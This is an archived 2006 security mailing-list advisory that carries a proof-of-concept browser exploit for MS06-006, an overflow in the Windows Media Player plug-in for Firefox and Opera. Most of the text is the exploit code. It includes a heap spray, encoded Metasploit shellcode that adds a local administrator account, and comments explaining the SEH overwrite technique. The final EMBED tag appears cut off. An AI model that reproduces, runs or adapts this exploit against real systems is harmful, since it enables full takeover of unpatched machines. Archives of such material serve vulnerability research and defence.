

# [EXPL] Windows Media Player Plug-in for Non-Microsoft Browsers Code Execution (MS06-006) – Exploit II

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-02/msg00066.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 19 Feb 2006 20:08:04 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Windows Media Player Plug-in for Non-Microsoft Browsers Code Execution  
(MS06-006) – Exploit II

---

## SUMMARY

A malicious EMBED element utilizing a remote code execution in the Windows Media Player plug-in for non-Microsoft Internet browsers could potentially grant an attacker complete control over the attacked system.

## DETAILS

### Vulnerable Systems:

- \* Microsoft Windows 2000 Service Pack 4
- \* Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2
- \* Microsoft Windows Server 2003 and Microsoft Windows Server 2003 Service Pack 1
- \* Microsoft Windows XP Professional x64 Edition
- \* Microsoft Windows Server 2003 x64 Edition

Exploit:

```
<HTML>
<HEAD>
<TITLE>WMP Plugin EMBED Exploit</TITLE>
<SCRIPT>
// Windows Media Player Plug-In EMBED Overflow Universal Exploit
// (MS06-006)
// By Matthew Murphy (mattmurphy at kc.rr.com)
//
// DISCLAIMER:
//
// This exploit code is intended only as a demonstration tool for
// educational or testing purposes. It is not intended to be used for any
// unauthorized or illicit purpose. Any testing done with this tool must
// be limited to systems that you own or are explicitly authorized to
// test.
//
// By utilizing or possessing this code, you assume any and all
// responsibility for damage that results. The author will not be held
// responsible, under any circumstances, for damage that arises from your
// possession or use of this code.
//
// Tested:
// Firefox 1.5.0.1
// Windows Media Player 10
// Windows XP SP2 (US)
//
// The Windows Media Player plug-in for non-Microsoft browsers (Firefox,
// Opera, etc.) suffers from an exploitable overflow in its handling of
// EMBED tags. Specifically, a very long SRC property on such a tag can
// lead to an overflow that will corrupt a structured exception handling
// frame.
//
// The SEH frame is the vector of control that I exploit. Fortunately,
// DEP is turned off for non-Microsoft code, so there's no issue there.
// That's really a shame, because such a move would've made an already
// difficult exploit much harder.
//
// One of the reasons the exploit is tough is because the overrun buffer
// (the SRC attribute) is seriously mangled before it is handled by the
// plug-in. In particular, any character with the sign bit set (> 0x7F)
// is replaced.
//
// We could do as the creative wizards like HD Moore suggest and use an
// alphanumeric payload with some cute SEH tricks. Let me rephrase:
// YOU could do as the creative wizards suggest. Meanwhile, I'm perfectly
// content to throw my code in another buffer and get around all the silly
// alpha-numeric sanitation. Sure beats devoting hours to beating it
// with fancy shellcode, all for a PoC I may never release.
//
// Instead, I shamelessly ripped a page from Skylined's book and borrowed
// (and cleaned up) the heap spraying technique. My heap-spray is a lot
```

## [EXPL] Windows Media Player Plug-in for Non-Microsoft Browsers Code Execution (MS06-006) – Exploit II

```
// less precise, because the memory layout is a lot more variable. In
// my experience, it took a _HUGE_ block allocation to get the heap I
// wanted to jump to into a reliably-placed location. Hence the atrocity
// of the 16MB of noops below.
//
// Aside from the character restrictions, this is a standard stack-based
// overflow. I simply smash the SEH frame with a pointer to my HUGE heap
// block, which consists of a bunch of 0x41 characters. An INC ECX is a
// functional noop -- so the box takes the slide down the heap into the
// shellcode. The shellcode is a standard Win32 "add administrator"
// payload from Metasploit.
//
// This exploit is a lot of ripping, cleaning and re-implementation, but
// that just goes to show how easy it is to write. So... how about that
// 'Important' rating? A bit perplexing to rate a "click-and-own" as an
// Important... or is it just because nobody would *DARE* run one of those
// "Non-Microsoft" browsers on Windows? :-)
```

```
// Spray the heap
var spray = unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");
do {
  spray += spray;
} while (spray.length < 0x1000000);

// If this is successful, you can login as a local admin:
//
// User: wmp0wn3d
// Pass: password

spray += unescape(
"%uc933%ue983%ud9c9%ud9ee%u2474%u5bf4%u7381%u9713"+
"%u798c%u839b%ufceb%uf4e2%u646b%u9b3d%u8c97%udef2"+
"%u07ab%u9e05%u8def%u1096%u94d8%uc4f2%u8db7%ud292"+
"%ub81c%u9af2%ubd79%u02b9%u083b%uefb9%u4d90%u96b3"+
"%u4e96%u6f92%ud8ac%u9f5d%u69e2%uc4f2%u8db3%ufd92"+
"%u801c%u1032%u90c8%u7078%u901c%u9af2%u057c%ubf25"+
"%u4f93%u5b48%u07f3%uab39%u4c12%u9701%ucc1c%u1075"+
"%u90e7%u10d4%u84ff%u9292%u0c1c%u9bc9%u8c97%uf3f2"+
"%ud3ab%u6d48%udaf7%u63f0%u4c14%ucb02%u7cff%u9ff3"+
"%ue4c8%u65e1%u821d%u642e%uf70%uff14%ue9b9%ufe01"+
"%ua3b7%ubb1a%ue9f9%ubb0d%uffe2%ue91c%ufbb7%ueb14"+
"%ufba7%ua817%uacf3%ufa09%uffe4%uf40e%ue8e5%ub459"+
"%uc8d6%ubb3d%uaab1%uf559%uf8f2%uf759%ueff8%uf718"+
"%ufef0%uee16%uace7%uff38%ue5fa%uf217%uf8e4%ufa0b"+
"%ue3e3%ue80b%ufbb7%ueb14%ufba7%ua817%uacf3%uda56"+
"%uc8d3%u9b79"
);
</SCRIPT>
</HEAD>
<BODY>
<EMBED
```

SRC="-----  
-----  
</BODY>  
</HTML>

<!-- EoF -->

ADDITIONAL INFORMATION

The information has been provided by <<mailto:mattmurphy@xxxxxxxx>>  
Matthew Murphy .

The advisory can be found at:

<<http://www.securiteam.com/windowsntfocus/5CP0F1FHPC.html>>  
<http://www.securiteam.com/windowsntfocus/5CP0F1FHPC.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@xxxxxxxxxxxxxxx  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxx

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.